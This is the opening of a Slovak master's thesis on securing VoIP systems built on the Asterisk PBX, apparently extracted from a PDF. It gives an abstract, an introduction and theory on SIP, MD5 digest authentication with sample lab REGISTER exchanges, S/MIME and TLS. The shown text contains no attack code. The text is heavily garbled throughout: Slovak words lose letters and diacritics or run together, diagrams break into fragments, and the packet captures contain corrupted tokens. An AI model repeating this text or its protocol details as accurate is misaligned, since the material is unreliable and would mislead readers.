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ANOTACE

Hlavnym dévodom vytvorenia licencie a programu Ofenirce je viné Sirenie zdrojového kédu
aplikacii a programov samotnych. &&e ide o verejne pristupny bezplatny projekt, uggra
a podporu maju na starosti dobrfme prislusné komunity. Aj preto je pouZitie a samaot
implementacia mnohokrat zavisla n#alSich vdne pristupnych nastrojoch a knizniciaatg
mnohokrat brani v jednoduchosti inStalacie. Vytviwe ispeSného spojenia pomocou VolP
predchadzaju dve fazy. Prvou je nevyhnutna sigaeiz ktora spolupracuje so signatiagmi
protokolmi ako H.323 alebo SIP. OkamzZite po dohpddmienok hovoru, ktorymi sa Sifrovanie,
hlasovy kodek, porty a pod., nastava druha fazapltje prenos hlasu. Teoretickas’ prace je
venovana protokolom SIP, H.323, MGCP, RTP alAX, zpb&gnym mozZnostiam prenosu
signalizacie a datovejasti hovoru, v podobe bezpwstnych metdd SIPS, SRTP, ZRTP a IPsec.
Tato ¢ag’ prace taktieZz predstavuje a priblizuje Open Souisteediu Asterisk a pojednava o jej
moznostiach, prednostiach a podpore v komunitebliRiti som vlastnosti a hlavné rysy
jednotlivych podporovanych verzii a predstavil jetiné moZnosti Utokov na VolP systém, spolu
s vd’ne dostupnymi a hlavne fuétkymi nastrojmi na generovanie takychto Gtokov. Bcak cas’
prace je zamerana na moznosti generovania tychieriexentalnych utokov na jednotlivésti
VoIP systému s definovanim dosiahnutého vyslednéfektu. Na zaklade celkovej analyzi
dosiahnutych vysledkov su predstavené tri rieSeako autoinStakné linuxové baliky
predstavujuce konkrétnu verziu Asterisk Ustredndslysnu konfiguraciu a postup inStalacie
s dodaténym nastavenim parametrov. Vysledné moznosti zeemia s doplnené praktickym
zabezpeéenim na aplikénej vrstve. PouZity je efektivny bezp@stny nastroj Iptables, takzv.
linuxovy firewall, nakonfigurovany aby odrézal paretre VolP systému a branil DoS utokom.

Kracoveé slova:Asterisk, bezpénost, VolP systém, utok, DoS, zabesgra



ABSTRACT

Main goal of creating the Open Source project afd. Gcence are free sources and applications
available for a wide public. Competent communities eesponsible for support and upgrade of
Open source based applications and softwares, vanelereated on a voluntary bases. Due to this
fact an implementation depends on plenty otherdigybavailable libraries and applications,
which sometimes complicate the installation prodtsedf. Successfully created VolP connection is
two-phase based process. Signalization is necessdhe first place, which might be supported
with H.323 or SIP. After call parameter negotiatiervoice codec, cipher code, ports etc, the
second phase takes over to transfer voice. Theargtart of this thesis describes SIP, H.323,
MGCP, RTP and IAX protocols, as well as secure wdysignalization and voice stream part of
the call. These might be SIPS, SRTP, ZRTP and IPsdhesis Open Source Asterisk PBX is well
described, when mentioning its options, featured aommunity support. | put near options
available for particular releases and introducaci and abuses which are possible to perform on
the VoIP system in general, together with availalple cost and working tools to perform the
attacks with. Practical part focuses on possieditio generate experimental attacks on individual
systen parts with exact definition of what the @apgences are. Based on the overall analyse of
achieved results | conclude three solutions as irattilation linux packages. These ,deb*
packages consist of specific Asterisk release redquio meet the security needs, ready-to-test
configuration and guide to follow with correct apts to set. Final security possibilities requires
hardening on application layer, where Iptables gaite part. ,Linux firewall* as some express
Iptables are configured to reflect VolP system peaters and protect from DoS attacks.

Keywords: Asterisk, security, VolP system, DoS, attack, abuse
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1 Uvod

V skasnej dobe, kedy su rozvinuté moderné formy konmagmk spolonosti nekladu priviky
doraz na zabezpenie svojich datovych prenosov po internychaid. Za zabezgenu si€ sa
povazuje Sifrovanie spojenia pomocou VRN{ual Private Network alebo v¢lenenou privatnou
linkou. Zabuda sa vSak na to, Ze ak &milen do jedného pftata zamestnanca dostane
cerv(worm) alebo virus, okamZite sa z napadnutéhditpta stava nebezpey prvok pre ostatné
pccitace v sieti, kd'Ze Ut@nik mé \daka tomu mozna'smapova a odchytavésie’ovl prevadzku.
Na zaklade odchytenych informéacii m6ze podtiikiéoky na citlivé datove a registre& prenosy
udajov,znizit’ vykon siete alebo ju zahlcov#aloSnymi paketmi, a tym podnecavia DoSenial
of Servicg utokom. Okrem iného tu spadaju aj problémy s stijmhhom zname pod nazvom
eavesdropping Rovnako ako iné sluzby fungujuce na IP protokglevalP je ovplyvniténé
podobnymi utokmi, a preto je délezité defindiaezp€nostné pravidla a implementavach v
podobe konkrétnych rieSeni.

Ciel'om tejto prace je podrobne popigaoznosti zabezgeni VolP technolégie s upresnenim
na Open Source PBX Asterisk. Predvedenim moznydkoutpoukazé na niektoré slabé miesta
komunikanych protokolov a VolP sluzieb. A nasledne defintbvaariantné bezpmostné
opatrenia, experimentalne poukéze ich praktické moznosti a na zéklade ich poroimaybra’
konkrétne optimélne metédy zabegzeeia. Hlavnym dbévodom vytvorenia licencie a proguam
Open Source je Yoé Sirenie zdrojového kdédu aplikacii a programomataych. KeZze ide
o verejne pristupny bezplatny projekt, upgrade dppou vykonavaju dobrovoe prislusné
komunity. Aj preto je pouZitie a samotnd implemer@dmnohokrat zavisla ndalSich vdnych
nastrojoch a knizniciachio mnohokrat brani v jednoduchosti inStalacie. Vy&rou UspeSného
spojenia pomocou VolP predchadzaju dve fazy. Prywunevyhnutnd signalizacia, ktora
spolupracuje so signaligimymi protokolmi ako H.323 alebo SIP. Okamzite ptalbe podmienok
hovoru, ktorymi sa Sifrovanie, hlasovy kodek, poatypod., nastava druha faza, ktorou je prenos
hlasu.

Samotny text prace jeé&leneny do deviatich kapitol, ktoré sdialej delia na jednotlivé
podkapitoly a oddiely. V prvych dvoch kapitolach sanujem IP telefénii a zabezfmni jej
signalizacie, predovSetkym protokolom SIP, IAX, BB3 a MGCP. K najdblezitejSim patri
autorizacia pomocou vyptu MD5 hashu, ako aj vymenddov a nasledne Sifrovanie signalizacie
pomocou TLS protokolu. V Stvrtej kapitole je popigaprenos multimediadlnych dat a jeho
zabezpeéenie protokolom SRTP so symetrickym Sifrovacim mactraom AES ako aj metddy na
vymenu Sifrovacich parametrov MIKEY a samostatngptgkol ZRTP, ktory ku komunikacii
vyuziva uz prebiehajuci RTP stream. V nasledujudejep kapitole sa zaoberam podporou
a moznosami zabezpgenia Specifickych verzii Ustredne Asterisk. Su fpradstavené pouzité
aplikacie ako koncové zariadenia. V Siestej kapitell vymenované zname atoky na sluzby IP
telefénie, tak ako sU definované beapestnou organizaciou Voice over [P Security
Alliance(VOIPSA [18].

V poslednych dvoch kapitolach prace su zachyterstedity mojho testovacieho experimentu.
Konkrétne v siedmej kapitole su predvedené utokyrekdemonsStrujem na definovanej testovacej
konfiguracii. V zaverénej 6smej kapitole zavadzam variantné opatrenidi pl@monstrovanym
atokom a porovnavam dosiahnuté vysledkyladiska narénosti implementacie samotného
zabezpeéenia a podpory zo strany PBX a koncovych softphdieatov.

Z poladu metodoldgie je po uvodnom Stadiu problematikgis&usii znamych rieSeni
problému vybrané optimalne rieSenie zabeéep&a VolP komunikécie s obsluhou Ustredne
Asterisk. Pri vypracovani tejto prace boli pouzpéedovSetkym zahrainé zdroje z dévodu
absencie odbornych zdrojov v slovenskeégske;j literature.
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2 Oboznamenie s IP teleféniou

Na samotny prenos hlasu cez internet je potrebmyekd’ko doleZitych protokolov a zariadeni.
Medzi protokoly sa radia ako signakzet, zodpovedné za prvotné registrovanie Kklienta
a vytvorenie spojenia tak aj datové protokoly prenps hlasu. Ich dlohou je preprapakety

z jedneho miesta na druhé gmn sa nekladie déraz na samotné denie, ale prenos v readlnom
case. NajdblezitejSim zariadenim je pdkmva Ustreda, ktora sa stard o registraciu a prepajanie
Gcastnikov. Nemenej dolezity je aj samotny IP telefésp. soft klient vo forme nainStalovanej
aplikacie na PC.

PEX User_100

Signalizacia-Reg, Inv

Siet operatora
internet

DATA-RTP stream

Signalizacia-Reg, Inv

User_200

Obr.2.1:  Priklad vytvorenia a prenosu spojenialPegig’

Zabezpéenie sluzby VolP spidva hlavne v troch délezitych bodoch, ktorymi siveliyhodnos,
autenticita a integrita. Ak povaZzujeme uvedené rostirza zartene bezpié, mdézZzeme povazova
cely priebeh komunikacie za beZpg. SamozrejmefalSie testovanie bezgmosti prenosového
kanalu prevadzame testovanim r6znych Sifrovacigbrainov.

* Doveryhodno®’ — Znai, Ze mimo odosielala a prijemcu neexistuje nikto iny, kto by
mohol ziskd nejaky obsah prendSanej informacie.

» Autenticita — Uis'uje prijemcu o originalite odosieldte Ze nim je skutme osoba od
ktorej atakdvame data.

* Integrita — Zarkuje rovnaku spravu prijata aka bola odoslana, mgaltym rovnaka
podoba bez akejkeek modifikacie, pripadnad modifikacia behom prenjesaistite’na.
Prevadza sa ako kontrolnyégt s vyuzitim hashu MD5 alebo SHA-1.

3 Signaliza éné protokoly

Tieto protokoly sliZia pri nadvazovani komunikaaedzi volajucimi dastnikmi. Zabezpeiju
registraciu klientov na servroch a telefonnych bdnako aj registraciu samotnych ustredni. Cely

14



hlasovy prenos je zavisly na spravnej signalizddora okrem zakladnych signaliagych funcii
podporuje aj mnozstvo dodéttych napr. overovacich parametrov. Signaliga protokoly SIP
a IAX2 umo#iuju bezpénu registraciu pomocou MD5 autorizacie. Tieto tvalenge — response
signaliz&né pakety sa pouzivaju aj pri vytvarani novych spbjSignalizaciou sa taktiez dohaduju
parametre spojenia pomocou SDP protokolu, ktorykamey by sag’ou tela SIP paketu.
Signalizacia hovoru pre obidva dnes najpopulareejprotokoly SIP a H.323 sa odliSuje
v niekd’kych oblastiach. V tejto kapitole sa zmienim o @edttire jednotlivych signalizaych
protokoloch ako aj teoretickych moZznostiach ich ezgd®enia. Neskér sa v budem v kapitole
venova aj signalizénym protokolom MGCP a MEGACO zodpovednych sa sigaaliz medzi
branami.

3.1 SIP a zaistenie bezpe €nosti

Session Initation Protocol bol vyvijany z dobre miyéh a fungujucich protokolov ako HTTé
SMTP. Tento protokol mézeme pri odchyteni jednodugteitat’, pretoZze sa prenasa podobne ako
HTTP formou textu. Na analyzu prenosucstpouzi’ akukd'vek aplikdciu na odchytavanie
paketov, napr. Wireshark alebo unixovy program Tepp. Od protokolu H.323 je Struktara
odliSna ten pouziva binarnu Struktiru. Samotna kokdwcia prebieha len medzi koncovymi bodmi.
Téato vlastnog nam zvySuje odolndscelého systému a to vypadku niektorych jeasti. Pritom ale
nastava viky problém pri zhroma¥ovani tarifnych Udajov hovorov, kde sme obmedzeny
spoplatiova’ hovory na zaklade mnozZstva prenesenych dat alab&amych poplatkov a nie ako
u tradeénych telefénnych sieti. Z dopatenia IETF pre protokol SIP su zname Styri prvky[1]:

. User Agent (UZivatelsky agent) — Spadaju tu aplikaktoré mozu siat’ obidve
nasledujuce funkcie. Rozllgu sa na dvéasti :

1.UA Client je klientsk&ag’, ktoré sluzi k nadvazovaniu odchédzajucich spojeni

2.UA Server je serverovéad, aplikacia kontaktuje uzivdia v pripade prijatej
SIP poziadavky a odpoveda(prijima, odmieta alebesmerovava) v zastupeni
uzivatéa.

¢ SIP Proxy Server — $i funkcie ako clienta tak aj servra, vytvara ropngiadavky pre
clientov. Poziadavky spraciva priamo alebo po pradanym servrom. Zabezpeje
funkcie Hadanie dastnikov v sieti, smerovanie hovorov (spolupra€&rewallom alebo
NATom), umozuje kontakt s inou sieu.

. SIP Redirect Server — Spracuvava poziadavky a presdnea adresy na nové a zasiela
naspd klientovy. Nevie inicializova vlastné SIP poziadavky ako Proxy server
a nedokaze prijahovor.

. SIP Registrar — Tento server prijima regigt@pakety a zvykne Byzdruzeny s proxy a
redirect servrom.

Pri nadvazovani spojenia je pouzita doména pra&stvojP sieti. Zostavenie spojenia pozostava
z niekd’kych krokov. Ako prvé sa uskutbuje H’adanie IP adresy koncovéhoastnika pripadne
SIP serveru pomocou DN®¢main Name ServigeNasleduje zostavenie spojenia s koncovym
Gcastnikom, popripade sa vyuZije nejakd sluzba StiZes®e ak nie je mozné zostavspojenie
priamo z dévodu koncovéha@astnika umiestneného za Firewallom popripade NATOrapojeni
mimo sie” SIP protokolu rozhoduje volajuctastnik, aka brana sa pouZije pre spojenie a aje je
doménova alebo IP adresa.

Pri identifikacii koncového uzivalfa v sieti sa vyuZziva sluzba URDiiform Resource Identifigr
Tvar identifikatnej hlaviky je nasledovny.
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sip:user[:password]@host[:port][;uri-parameters][?headers]

V pripade protokolu SIP mame moziiagg kédovaného pripojenia pomocou Secure SIP, ldaré
ur¢i v hlavicke miesto prefixu ,sip* zavedieme ,sips”. VyuZiva pritom bezp&ostny protokol
TLS(Transport Layer Securily Vyhodou je aj mozna'sregistracie jedného uzivdite s&asne na
viacerych telefébnoch, ktord podporujecgina registrénych serverov. SIP ,uniform resource
identifier potom pozna adresy vSetkych telefon&toré disponuju tymtaiislom a dokéze ich
adresova stasne, pozor ale tato sluzba VolP Ustredni sa aégrecho zneugi

Priebeh SIP komunikacie je zobrazeny na Obr.3.Js@p pripad neSifrovaného spojenia
kedy INVITE paket nieje podmieneny MD5 autorizaci®@lP client_1 posiela paket INVITE, ktory
v tele obsahuje Udaje o podporovanych kodekoch oroné SDP. Pre nastavenie parametrov
prenosu dat ako zvukovy kode¥slo portu, frekvencia vzorkovania alebo aky tramspy protokol
bol pouzity sa pouZiva podobne textovy protokol §BEssion Description protocol). Druh& strana
odpoveda inform&nym kodom 100 Trying. Paket INVITE je postupne proservrami
presmerovany az k dievému @astnikovy. Klient zane vyzvédat' 180 Ringing a v pripade prijatia
hovoru 200 OK. Volajuci potvrdi paketom ACK vytvorerspojenia. Nasleduje samotny hovor
v podobe RTP streamu. V pripade, Ze sa jeden Kliektisi ukogit' spojenie vySle paket BYE
a druha strana iba potvrdi uk@mie spojenia.

SIP client_ 1 SIP server A SIP server B SIP client_ 2

\J'\\'\Q SIP/ SDp
A0 Tryin®
180 ng\\'\g

00 O

4g0 Ring"™® / /
/ 200 0%
200 ox /

L
W, SIP An
T sk,
RTP stream s

N

/a3 By,
&
\ Sip BYE

Sip BYE

200 9%

00 O

4/
y

Obr.3.1:  Priebeh signalizacie SIP [4]
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3.1.1 Autorizacia pomocou algoritmu Message-Digest

Za prva reélnu formu bezpeosti protokolu SIP moZzme povazdvautentizaciu SIP request
paketov od IP PBX. BeZnou praxou je autorizokegistr&né pakety a pakety inicializujuce hovor
takzvané INVITE. Ako bezpgmostny prvok sa pouziva hash funkcia MD5, vytvoreridly

z loginu, ndhodne vygenerovaného parametru ,noadesla.

REGISTER sip:192.168.234.130 SIP/2.0

Via: SIP/2.0/UDP 192.168.234.1:33656;branch=2z9hG4bK-d8754z-e4721a791b072a2a-1---d8754z-;rport
Max-Forwards: 70

Contact: <sip:200@192.168.234.1:33656;rinstance=65b91£4129dfcbfb>

To: "user_200"<sip:200@192.168.234.130>

From: "user_200"<sip:200@192.168.234.130>;tag=8b0dcf00

Call-ID: YzFkMzcOODUwWZTAzYTRhNDEzOGJkNzI2YJEOY2I4YWU.

CSeq: 1 REGISTER

VolIP klient Expires: 20

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO
User-Agent: X-Lite release 11001 stamp 47546

Content-Length: 0

SIP/2.0 100 Trying

Via: SIP/2.0/UDP 192.168.234.1:33656;branch=z9hG4bK-d8754z-e4721a791b072a2a-1---d8754z~
;received=192.168.234.1;rport=33656

From: "user_200"<sip:200@192.168.234.130>;tag=8b0dcf00

To: "user_ 200"<sip:200@192.168.234.130>

Call-ID: YzFkMzcOODUwZTAzYTRhNDEzOGJkNzI2YJEOY2I4YWU.

CSeq: 1 REGISTER

User-Agent: Asterisk PBX

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY

Supported: replaces

Contact: <sip:200@192.168.234.130>

Content-Length: 0

SIP/2.0 401 Unauthorized

Via: SIP/2.0/UDP 192.168.234.1:33656;branch=z9hG4bK-d8754z-e4721a791b072a2a-1--- d8754z- .
;received=192.168.234.1; rport=33656 Asterisk

From: "user_ 200"<sip:200@192.168.234.130>;tag=8b0dcf00 F)EB)(

To: "user_200"<sip:200@192.168.234.130>;tag=as3£d14858

Call-ID: YzFkMzcOODUwZTAzYTRhNDEzOGJkNzI2YJEOY2I4YWU.

CSeq: 1 REGISTER

User-Agent: Asterisk PBX

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY

Supported: replaces

WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="7d90a374"

Content-Length: 0

Obr.3.2:  Priklad vyZiadania autorizacie Asteriskverom

Priebeh registracie je vlastnoSIP protokolu pomocou ktorej sa prihlasi koncoligrit resp. PBX
na inu PBX. Po tejto operacii je usti@dschopna obsliziresp. kontaktowavolaného Gastnika.
Pri registracii sa vSakasto stretavame s pozadovanou autorizaciou ObP8.2apnutej autorizacii
v Asterisku nam server odpoveda spravou s kédomWeduthorized, na ktord musi klient znovu
vysla’ paket INVITE s uz preggtanym hashom MD5. Server na spravny INVITE pakiiaveda
200 OK. V Open source aplikacii Asterisk na to E(garametreauth=md5asecurity=mojeheslo
v konfigura&nom subore sip.conf. Podrobny pfatl registrovania klienta X-lite na PBX server
Asterisk je zobrazeny na obrazku Obr.3.3. NapriekiZgtia hash funkcie MD5, autorizacia
obsahuje slabinu v podobe pouZitia Gtoku pomocounska v pripade jednoduchosti hedbalej
posobi len ako metdéda na overenie autenticity pomnospoléne zdidaného hesla, pidom
nezavadza ziadnu metddu pre Sifrovanie obsahu wpiEato forma autorizacie nam ale stale
poskytuje relativne prijafati a spéahlivi moznog zabezpéenia. V pripade vhodne zvoleného
hesla je vredlnontase nemozné dopitet’ hash a tak podviésAsterisk v akceptovani naSich
podvrhnutych poZiadavok. Bezpestna diera sa ale nachadza v poziadavku BYE, kiaje
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autorizovany aby mohla ktorakeek strana ukafit spojenie. Tuto problematiku rozoberiem
v d’'aSich kapitolach.

REGISTER sip:192.168.234.130 SIP/2.0

Via: SIP/2.0/UDP 192.168.234.1:33656;branch=29hG4bK-d8754z-80235450fa2c5647-1---
d8754z-;rport

Max-Forwards: 70

Contact: <sip:200@192.168.234.1:33656;rinstance=65b91£4129dfcbfb>

To: "user_200"<sip:200@192.168.234.130>

From: "user_ 200"<sip:200@192.168.234.130>;tag=8b0dcf00

Call-ID: YzFkMzcOODUwZTAzYTRhNDEzOGJkNzI2YJjEOY2I4YWU.

CSeq: 2 REGISTER

Expires: 20

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO

VO|P kllent User-Agent: X-Lite release 11001 stamp 47546

Authorization: Digest username="200",realm="asterisk", nonce="7d9%90a374",
uri="sip:192.168.234.130",response="bl8f25414f17dbee2a2ff8bbf669eee9", 6 algorithm=MD5

Content-Length: 0

SIP/2.0 100 Trying

Via: SIP/2.0/UDP 192.168.234.1:33656 ;branch=z9hG4bK-d8754z-80235450fa2c5647-1---
d8754z-;received=192.168.234.1;rport=33656

From: "user_200"<sip:200@192.168.234.130>;tag=8b0dcf00

To: "user_200"<sip:200@192.168.234.130>

Call-ID: YzFkMzcOODUwZTAzYTRhNDEzOGJkNzI2YJEOY2I4YWU.

CSeq: 2 REGISTER

User-Agent: Asterisk PBX

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY

Supported: replaces

Contact: <sip:200@192.168.234.130>

SIP/2.0 200 OK

Via: SIP/2.0/UDP 192.168.234.1:33656;branch=z9hG4bK-d8754z-80235450fa2c5647-1---
d8754z-;received=192.168.234.1;rport=33656

From: "user_ 200"<sip:200@192.168.234.130>;tag=8b0dcf00

To: "user 200"<sip:200@192.168.234.130>;tag=as3fd14858 Asterisk
Call-ID: YzFkMzcOODUwZTAzYTRhNDEzOGJkNzI2YJEOY2I4YWU.
CSeq: 2 REGISTER PBX

User-Agent: Asterisk PBX

Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY
Supported: replaces

Expires: 60

Contact: <sip:200@192.168.234.1:33656;rinstance=65b91£4129dfcbfb>;expires=60
Date: Tue, 12 May 2009 10:44:13 GMT

Content-Length: 0

Obr.3.3:  Priklad odpovede na MD5 autentizaciu

3.1.2 Bezpeanostny Standard S/MIME

Protokol bol vyvinuty na prenos zabezpeych MIMEMultipurpose Internet Mail Extensions
dat. Protokol Secure MIME pod'a danych pravidiel zabezfige autentizaciu, integritu

a doveryhodnas spravy [2]. Vyhodou je neviazanbsa cisto emailovy datovy prenos, ale na
akukdvek sluzbu, ktora dokaze prenidglIME data. Na Sifrovanie obsahu je pouzitd AESaSif
ktord je povazovana za rychlejSiu a rovnako b&apeako 3DES. AES Sifra ma taktiez mensSie
pame&ové naroky, ptiom bezpeénostné prvky sa ddpaju s TLS. SIMIME sa Specialuzuje hlavne
na telo spravy, ale SIP umafe ochrar aj citlivé hlaviky. Teld sprav ako SDP su zachované
utajené, to je ale problém v pripade parameffoy From, Call-ID z hlaviky. Su to prvotné
informacie pre prechodné zariadenia ako SIP prexyes alebo firewall pri vytvarani hovoru. Na
obidenie tohto problému sa pouziva metdda zaSifavako tela spravy tak aj hl&ky. Pritom
hlavicka ostane aj ako neSifrovany text aby ju mohli okidéenspracov@ Proxy servre a nezaoberali
sa komplikovanym deSifrovanim. Koncovyastnik si moze ovetiintegritu a zarove identitu
odosielatéa porovnanim deSifrovanej hlaky a povodnej neSifrovanej hlaky. Prva metdda
obsahu MIMEapplication/pkcs7-mimge uena na digitalny podpis a zaSifrovanie prenaSanych
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dat. Druhd metodanultipart/signedje podobna predchadzajlicej, ale sprava pozostévaza
zaSifrovanych tak aj z nezasifrovanych dat a jeletena do viacerych sprav.

Pre lepSie pochopenie démnia spravy pomocou S/MIME musime pochiopely princip
systému zaloZzenom na PRIfblic Key Infrastructure Obr.3.4. PouZivaju sa Styri zakladné
principy PKI, hash, Sifrovanie, Sifrovanie verejniiidicom a digitalny podpis.

Prijemcov
verejny klu¢
Nahodny klu¢ _ l
spojenia 4. Sifrovanie
Zabaleny kla¢
Podpisana spojenia
sprava
Sprava Zasifrovana
Odosielatelov Y sprava
1. Digest certifikat 3. ifrovanie
y Zasifrovany
Digest 2. Podpisanie ove
hodnota o Podpis certifikat
T Zasifrovany
Odosielatelov podpis
sukromny kfu¢
Odosielatel !
______________________________________“ ___________ I_ ________
Prijemca |
v
Zasifrovana
Digest |, 7 Digest Podpisana sprava
hodnota | sprava
Zasifrovany
.. | Odosielatefov [* ) ) certifikat
. 8. Overenie x
Odosilel’atell’ovv < certifikat 6. Desifrovanie
verejny kic Zasifrovany
Podpis podpis
Zabaleny klu¢
spojenia
5. Desifrovanie |
KIu¢ spojenia [¢ T
A
> 10. Porovnat €—— .
9. Podpisanie Prijemcov

sukromny kfu¢

Obr.3.4: Celkovy postup a priebefikov v a medzi systémami S/IMIME [3]

19



S/MIME svojim sp6sobom definuje ktory algoritmusuge’ a ako so samotnou spravou pragova
Informacie o problematike algoritmov a SifrovaniMBVIE zabezpéenia soncerpal z literatlry

[3].

1) Prvotnd sprava je zmenSend hashom a je pripravang@odpis. Bez hashu je proces
podpisovania hrubej spravy digedlhsi.

2) Odosielaté podpisuje hashovanu spravu pouZzitim algoritmutéliggeho podpisu a pridava
podpis k pévodnej sprave a svojmu certifikatu.

3) Generuje salki¢ spojenia a s jeho pomocou sa Sifruje spravafigatta podpis.

4) Vygenerovany nahodnyl'é¢ spojenia je zaSifrovany prijemcovym verejnyiiidom, ktory
je zndmy. Potom je zabaleny k zaSifrovanej prergSsprave. Na obrazku Obr.3.4 zobrazené sivé
bloky st prenesené k prijemcovi.

5) Na strane prijiméa je ako prvy pomocou prijemcovho sukromnéhaic& deSifrovany
nahodny Ku¢ spojenia.

6) So ziskanym Ki¢com spojenia sa nasledne deSifruju sprava, cettifikhodpis spojenia.
Nastava proces overenia pravosti spravy a ideotiosielatéa.

7) Sprava sa opéhashuje pomocou hodnoty digest.

8) Prijemca overi odosieldtev certifikat, s tym ktory ma uloZeny a overeny. jpkcertifikat
legitimny, ziska sa z neho odosielate verejny KUC.

9) Podobne ako u odosieléiteaj tu sa podpiSe  hashovana sprava podpisom
z odosielatBovym verejnym Racom.

10) Vypocitany podpis sa porovnava s prijatym. Tymto postupgme potvrdili autentizaciu,
integritu spravy a nepopierdites’. V pripade nerovnosti bola prijatd sprava pozménpaas
prenosu.

3.1.3 Zabezpe&enie SIPS —SIP secure

Tato skratka ozrije v URI v prvom rade nutnfsprenosu cez zabezfmy kanal. Na tento
zabezpeéeny prenos vyuzivame protokol TLS, ktory si teradnobne priblizime.

S pouzitim TLS protokolu mozme prenéS@ata podobne ako pri protokole TCP, niektoré po
vykonani malej Upravy. TLS lezi nad TCP spojenityra sa stavaju zabezfmné prenaSané data
transparentné pre nizSie vrstvy.

TLS/SSL
Inicializacia Change Alert Application
(Handshake) SipherSpec Protocol

Y ! Y Y

Vrstva zaznamov (Record)

TCP/IP

Obr.3.5:  Vrstvy protokolu TLS/SSL [5]
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Inicializatné protokoly su zodpovedné za zostavenie, pripadpetovné pokrgovanie
nadviazaného spojenia. Jeho hlavnymi ulohami jeodolr Sifrovacie sady a kompresné
algoritmy. Autorizové server ku klientovi, a volitse, autorizové klienta k servru pomocou
certifikatov a verejnych a sukromnychitkov. Poslednou udlohou je zamémpouZivané nahodné
Cisla a takzvpre-mastertajny K’'G¢. Pomocou nich a istyctiia’'Sich dat je vygenerovany zéany
tajny K’a¢(shared secret kgy Tento zdi€any tajny KU¢ pouZziva vrstvu zaznamdvécord na
haSovanie a zaSifrovanie aplikgch dat. Tento Ki¢ sa nazyvéMasterkl'c.

Inicializacnac¢agd’ TLS sa deli na tri podprotokoly z Obr.3.5.

1. InicializaceHandshakg — m& na starosti vymenu informécii spojenia mekl@ntom
a servrom. Patria tu informéacie ako ID spojeniatifieaty klientov, Specifikacia buducej
Sifry, algoritmus kompresie a zdielané tajfislo pouzivané ku generovaniu prenosovych
kracov.

2. Change Cipher Specification — tento protokol ma taosti samotni vymenu tajnych
Gdajov, ktoré su pouzité na Sifrovanie medzi klenta servrom. Podprotokol pozostava
len z jednoduchej spravy a Ziada novu saldigdv. KI'a¢ je potom vypeitany z informacii
vymenenych pomocou Handshake protokolu.

3. Alert — generuje spravy na upozornenie zmien statpspripade chybové podmienky
k druhému Klientovi. Zw§ajne su poslané ak sa spojenie ukomebo sa sprava neda
zaSifrova’ alebo je prijatd nespravna sprava.

Spominané podprotokoly umiagu realizovad nasledujuce sluzby [5].

Autorizicia — Certifikatné autority vydavaju digitdlnu formu identity nazyw certifikaty. Tieto
takzv. identity obsahuju isté identifikaé Udaje, tfku platnosti, verejny K& a digitalny podpis
vydavat&a. Pre inicializané protokoly sa pouZiva certifikat X.509 aby zat&itpdéveryhodny
dbkaz na druhej strane, to pomaha dokgmavu identitu strany, ktora vlastni certifikéat.

CA (Certification authority je autorita, ktorej ostatné strany vzajomne vetiA overuje identitu
Ziadatd&ov o certifikat a nakoniec ho vydava. Ten spojupddtéda s jeho verejnymIkKicom. CA
mbze obnovi ale taktiez zru$icertifikat ak je to potrebné.

Sifrovanie — PouzZivaju sa tu dva hlavné spdsoby Sifrovania. $ycké, zname aj ako zdielany
tajny K'G¢ a nesymetrické zname ako sukromny-verejiyck TLS pouziva symetricky IKi¢
k objemovému Sifrovaniu a verejn§K k autorizacii a vymenelkicov.

» Symetricky Ku¢ — rovnaky Ku¢ je pouzity na Sifrovanie aj deSifrovanie spravs. P
uspesSnej vymene zasSifrovanych dat musia obe stidastnt’ takyto rovnaky
symetricky K0¢. PouzZiva sa na Vké objemy dat aje vygetne rychlejSi ako
asymetrické Sifrovanie. Typické algoritmy su DEBES, AES, RC2 a RC4.

* Asymetricky K0¢ — pouziva pér IKicov, ktoré boli derivované pomocou
matematickej funkcie. Jeden z nich je uvadzanyjmerdypicky sa poziada CA na
vydanie verejnéholkica v certifikate pre tzv. drzita certifikatu. SukromnyIki¢ je
tajny a nikdy by nemal hywyzradeny. Tieto Ki¢e sa vzajomne ddimju a desifruju
sa vzdy protikladnym llKicom. Ak verejny Ku¢ zaSifruje data jedine jeho privatny
krac ich moze deSifroua a naopak. Toto je zaklad pre digitdlne podpisy.
NajbeznejSim algoritmom je RSRivest, Shamir a Adleman

Hashovacie algoritmy —Patas inicializ&ného procesu sa client a server dohodnu na hashrovac
algoritme. Hash je jednocestné mapovanie hodnéindn3ej sady zastupujucich hodn6ét, tak Ze
hash je jedingny Kk origindlnym datam. Hash mdéZme poro¥na odtldkom prsta, kazdy
jednotlivec ma jedingy odtla&ok prsta. Hashovanie sa zavadza na zaistenie dattegrity
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pocas spojenia. Dva najznamejSie hashovacie algor#iniiD5 (Message Digest)Svytvara 128
bitovy hash, spominany uz pri autorizovani SIP wpaadruhym je SHA-1 Standard Hash
Algorithm 1) vytvara 160 bitovy hash. Hashovaci algoritmusabloge hodnotu na zaklade ktorej je
kontolovana integrita (neporuSeripwyysielanych dat. Tato hodnota vznikla pouZzitind’ dMAC
(Message Authentication Coddebo HMAC Hashed Message Authentication Cpde

klient server

ES

\

///o \

Handshake: ClientHello

Handshake:ServerHello
Handshake:Certificate
(Certifikat a verejny kluc)
Handshake:ServerHelloDone

A

Handshake:ClientKeyExchange
(pre-master kluc)
Handshake:Finished

\

A

Handshake:ServerFinishedMessage

Handshake protokol

Record protokol

Data aplikacie

A
Y

Data aplikacie

Obr.3.6:  Priklad handshake klient so servrom

Priblizme si ale samotny handshake a vymehigdv prakticky na Obr.3.6. Klient a server sa
pomocou Hello sprav dohodnu a vymenia si zoznaroritgov, ktoré budd pouziva Server do
odpovede pripaja aj certifikat so svojim verejnyfddom. Na strane klienta sa vygeneruje ndhodné
¢islo nazyvanépre-master secret Riu¢. Po prijati spravy so servrovym certifikatom overi
autentizaciu a vytiahne si z nej servrov verejtifck Tym potom zaSifruj@re-masterkl’G¢ a posle
